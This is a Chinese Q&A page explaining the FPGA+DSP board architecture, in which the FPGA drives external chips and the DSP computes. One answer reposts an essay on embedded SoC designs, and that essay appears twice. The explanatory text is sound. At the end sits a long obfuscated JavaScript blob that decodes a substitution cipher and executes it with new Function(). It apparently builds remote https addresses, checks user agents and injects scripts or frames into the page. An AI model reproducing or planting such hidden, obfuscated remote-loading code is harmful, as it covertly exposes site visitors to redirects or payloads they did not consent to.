请教“FPGA+DSP构架”具体是什么意思?

2024-11-10 12:52:18
推荐回答(4个)
回答(1):

楼上解释的都是些什么啊,还是09年的问题了。。。
我做了一段时间的DSP+FPGA架构板卡了,这个架构的原理是用FPGA来扩展DSP的外部模块。
你要知道,很多芯片的逻辑功能,DSP是没有硬件模块去控制的,如果用DSP自己产生时序去控制那些芯片,在高速设计里,会有很多的障碍,通常采用FPGA产生标准的时序去驱动那些外部芯片,我们在FPGA里写入控制外部芯片的各种逻辑模块,再通过DSP的EMIF总线和DSP连接,这样的话,DSP就多了很多“外部模块”,同样可以通过读写寄存器地址的方式来通过FPGA读取外部芯片的数据。 相当于DSP只需要读某个EMIF的地址,其实就是一条赋值语句,再等一小会儿(或者更复杂的收到判断),就可以通过FPGA将外部芯片的数据读回到DSP里。
说明白点,就是把一个写好模块的FPGA“塞进”DSP里,成为DSP的一部分,DSP就可以通过FPGA方便地读取外部芯片的数据。
DSP换成其它处理器也可以,只是DSP的数据运算能力是处理器中最强的,如果是需要运算的场合,就要用DSP,如果只是功能控制,ARM、PPC等处理器也可以配合FPGA。

回答(2):

FPGA+DSP构架即文中的第三种架构

多年前对嵌入式SoC的体系结构认真学习了一番,后来发现业内几种架构定局之后,也就没什么创新东东了,于是索然无味,不再关心.没想到这么多年过去了,这几种架构的战争还是依然如故,没有个结局.什么架构呢? 一种是纯粹的速度型处理器SoC,找来找去找不到很典型的代表,就拿Xscale来代表吧,虽然它也有所谓MMX,但是效果实在不怎么样,网络和NAS加速靠它不指望,可是多媒体加速靠它实在也太洼,到头来还是靠它的主频,据说有1GHz以上的了,这是Intel留给Marvell最宝贵的遗产啊--速度; 这个纯速度选手有什么好处呢?两个字:简单.简单就是美,软件移植最省钱省力.带来产品升级换代的速度快.要提到性能,只要提高主频就可以了.坏处是什么呢?处理器制造工艺越来越高,90nm已经过时32nm都跑出来了.这个工艺越领先不是成本越低吗?NO这里是有一个均衡的.复杂的成本投资与回收的道道,我也不懂.但是比起下面我要说的其它架构,无疑它是贵的. 第二种是处理器主频速度居中型SoC,但是有SIMD指令集,很牛很暴力,对于特定的媒体加速或者其它网络处理都很有效.这个速度居中型有什么好处呢?工艺要求相对简单,比如北京一家公司的MIPS处理器SoC,加入了SIMD之后的多媒体性能竟然比600MHz的Xscale要高(当然,它还有非常轻量级的硬件加速).但是这个SoC的处理器主频竟然只有300多兆!这用.18的工艺就可以制造了,多便宜啊,成本优势.这就是创新,以更便宜的成本设计出性能更好的芯片,这值得做工程的人骄傲.这个还有什么好处?还有一个典型是ADI的Blackfin处理器,也属于这个类型,它没有SIMD,但是它就是DSP出身的设计,呵呵,编程模型简单,也就是这类处理器的好处.当它主频提高的时候,是很可怕的,既可以跑操作系统或者复杂软件,还可以在需要处理特定算法的时候专门去处理.无疑它比第一种架构更优秀,曾经我认为它是业内最完美的架构.这类架构的代表还有那些带SIMD(altivect)的PowerPC们.

回答(3):

简单来说,用FPGA作控制与数据搬运,DSP负责计算

回答(4):

FPGA
FPGA是英文Field-Programmable Gate Array的缩写,即现场可编程门阵列,它是在PAL、GAL、CPLD等可编程器件的基础上进一步发展的产物。它是作为专用集成电路(ASIC)领域中的一种半定制电路而出现的,既解决了定制电路的不足,又克服了原有可编程器件门电路数有限的缺点。
DSP(digital singnal processor)是一种独特的微处理器,是以数字信号来处理大量信息的器件。其工作原理是接收模拟信号,转换为0或1的数字信号,再对数字信号进行修改、删除、强化,并在其他系统芯片中把数字数据解译回模拟数据或实际环境格式。它不仅具有可编程性,而且其实时运行速度可达每秒数以千万条复杂指令程序,远远超过通用微处理器,是数字化电子世界中日益重要的电脑芯片。它的强大数据处理能力和高运行速度,是最值得称道的两大特色。

DSP芯片,也称数字信号处理器,是一种特别适合于进行数字信号处理运算的微处理器器,其主要应用是实时快速地实现各种数字信号处理算法。根据数字信号处理的要求,DSP芯片一般具有如下主要特点:

(1)在一个指令周期内可完成一次乘法和一次加法;
(2)程序和数据空间分开,可以同时访问指令和数据;
(3)片内具有快速RAM,通常可通过独立的数据总线在两块中同时访问;
(4)具有低开销或无开销循环及跳转的硬件支持;
(5)快速的中断处理和硬件I/O支持;
(6)具有在单周期内操作的多个硬件地址产生器;
(7)可以并行执行多个操作;
(8)支持流水线操作,使取指、译码和执行等操作可以重叠执行。
当然,与通用微处理器相比,DSP芯片的其他通用功能相对较弱些。

转一个文章,FPGA+DSP构架即文中的第三种架构

多年前对嵌入式SoC的体系结构认真学习了一番,后来发现业内几种架构定局之后,也就没什么创新东东了,于是索然无味,不再关心.没想到这么多年过去了,这几种架构的战争还是依然如故,没有个结局.什么架构呢? 一种是纯粹的速度型处理器SoC,找来找去找不到很典型的代表,就拿Xscale来代表吧,虽然它也有所谓MMX,但是效果实在不怎么样,网络和NAS加速靠它不指望,可是多媒体加速靠它实在也太洼,到头来还是靠它的主频,据说有1GHz以上的了,这是Intel留给Marvell最宝贵的遗产啊--速度; 这个纯速度选手有什么好处呢?两个字:简单.简单就是美,软件移植最省钱省力.带来产品升级换代的速度快.要提到性能,只要提高主频就可以了.坏处是什么呢?处理器制造工艺越来越高,90nm已经过时32nm都跑出来了.这个工艺越领先不是成本越低吗?NO这里是有一个均衡的.复杂的成本投资与回收的道道,我也不懂.但是比起下面我要说的其它架构,无疑它是贵的. 第二种是处理器主频速度居中型SoC,但是有SIMD指令集,很牛很暴力,对于特定的媒体加速或者其它网络处理都很有效.这个速度居中型有什么好处呢?工艺要求相对简单,比如北京一家公司的MIPS处理器SoC,加入了SIMD之后的多媒体性能竟然比600MHz的Xscale要高(当然,它还有非常轻量级的硬件加速).但是这个SoC的处理器主频竟然只有300多兆!这用.18的工艺就可以制造了,多便宜啊,成本优势.这就是创新,以更便宜的成本设计出性能更好的芯片,这值得做工程的人骄傲.这个还有什么好处?还有一个典型是ADI的Blackfin处理器,也属于这个类型,它没有SIMD,但是它就是DSP出身的设计,呵呵,编程模型简单,也就是这类处理器的好处.当它主频提高的时候,是很可怕的,既可以跑操作系统或者复杂软件,还可以在需要处理特定算法的时候专门去处理.无疑它比第一种架构更优秀,曾经我认为它是业内最完美的架构.这类架构的代表还有那些带SIMD(altivect)的PowerPC们. 但是当我发现这不是终结者,而另外一种一直顽强生存的架构忽然让我找到了解决问题的办法,这也是我忽然想写这个帖子的原因. 第三种架构:处理器+协处理器,或者说处理器+硬件加速器.典型的就是那些arm+dsp的SoC芯片.最最典型的就是TI的SoC了,全都是这个arm+dsp,跟ADI 战斗了多少年,曾经输过,不过我认为他马上就要赢了.TI在达芬奇之前那些dsc27什么的就是这个,达芬奇之后omap还是这个,只不过换成更快更新的arm core加上他自己更好的dsp core而已. 这种架构我曾经认为它很弱智,不但开发调试复杂,arm一套,dsp一套,调试整合要两种工程师去干活,开发门槛太高.而且这种架构的两个处理器主频都不太高,否则功耗让人受不了,一个SoC里面两颗处理器啊!吃电太多.制造还复杂成本不低.我鄙视它好多年了.一个慢吞吞的arm7core,从前那些个dsc27之类的,只能跑个简单的ucos之类的rtos.现在那些达芬奇arm9core也好不到哪去,200多兆主频,想跑爽一个现代的OS是不可能的. 这种架构其实就是最后捡破烂的,为了收拾一个大规模产品的最后阶段,也就是ASIC解决办法,低成本,专用!说到这如果你看得有点迷糊,那是因为你来自学院派,没有产业经验.没关系,下面继续侃技术相关.这种架构被迫用两颗慢吞吞的cpu绑在一起,比起第二种架构而言,就很差,因为2可以高速跑os,还可以在需要的时候全力做dsp做的事情.无论在干任何一件事情,2比3都要性能好. 但是,终于,属于3的时代来了.这个时代就是要同时跑现代OS及复杂软件和同时做DSP要做的事情.2的能力是同时只能干好其中一件事情.3只需要把两个核同时升级提速就解决了这个慢的问题,反而比起2需要把自己的主频提升一倍来的容易得多! 那么这个架构之战是否到此为止了呢?NO,我认为好戏还在后头.三种架构都有机会. 它们的主战场是一个万能的产品,或者说人们希望它万能的产品,只有万能的东西,才是最复杂的东西,它就是你手上的称之为手机的东西,以后还叫不叫手机我不知道.想想看,你是否希望你的手机万能?打电话,听mp3,玩游戏,看片子,拍照,摄像,上网...当最后某两种架构失败之后,也不会消失,它们会潜入到那些同时只需要干好一件事情的产品之中去...这种产品应用也很多很多.这就是嵌入式的魅力,百花齐放,千姿百态... 当然还有其它一些架构如多核,多核也是先从嵌入式 SoC 开始的,后来蔓延到Intel的X86,对X86向来没有多少兴趣,不说了,反而那些多核的MIPS在高端网络设备中还是兴风作浪...往往是皇帝轮流做,今年到我家.架构之战,还在继续... 它不是书本的理论之战,而是产业之战.书本理论的论战永远代替不了产业.对嵌入式感兴趣的人们,投身到产业界来吧,那是天堂,那也是地狱:)))

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();